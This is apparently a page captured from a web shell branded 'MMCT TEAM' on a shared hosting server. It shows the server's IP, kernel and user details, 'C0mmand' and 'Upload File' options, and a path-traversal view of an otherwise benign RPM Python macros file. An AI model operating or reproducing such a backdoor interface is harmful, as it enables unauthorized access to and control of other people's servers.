MMCT TEAM
Server IP : 103.53.40.154  /  Your IP : 3.144.93.34
Web Server : Apache
System : Linux md-in-35.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : ppcad7no ( 715)
PHP Version : 8.2.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /backup1/../etc/rpm/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : //backup1/../etc/rpm/macros.python3.rh-python35
# define these macros in a way which will expand them to correct values even for non-scl-build, assuming 's/python35//'
%python35__python3 /opt/rh/rh-python35/root/usr/bin/python3
%python35__python %python35__python3
%python35python3_sitelib %(%{?scl:scl enable rh-python35 '}%{python35__python3} -c "from distutils.sysconfig import get_python_lib; print(get_python_lib())"%{?scl:'})
%python35python_sitelib %python35python3_sitelib
%python35python3_sitearch %(%{?scl:scl enable rh-python35 '}%{python35__python3} -c "from distutils.sysconfig import get_python_lib; print(get_python_lib(1))"%{?scl:'})
%python35python_sitearch %python35python3_sitearch
%python35python3_version %(%{?scl:scl enable rh-python35 '}%{python35__python3} -c "import sys; sys.stdout.write(sys.version[:3])"%{?scl:'})
%python35python_version %python35python3_version

# these macros won't be needed if doing non-scl build, so define them in a way that won't overwrite system ones
%python35_os_install_post \
    /usr/lib/rpm/brp-scl-compress %{_scl_root} \
    %{!?__debug_package:/usr/lib/rpm/redhat/brp-strip %{__strip} \
    /usr/lib/rpm/redhat/brp-strip-comment-note %{__strip} %{__objdump} \
    } \
    /usr/lib/rpm/redhat/brp-strip-static-archive %{__strip} \
    %{!?_turn_off_bytecompile:scl enable rh-python35 '/usr/lib/rpm/redhat/brp-python-bytecompile-with-scl-python-35 %python35__python3 %{?_python_bytecompile_errors_terminate_build} %{_scl_root}'} \
    /usr/lib/rpm/redhat/brp-python-hardlink


%_python_bytecompile_errors_terminate_build 1


MMCT - 2023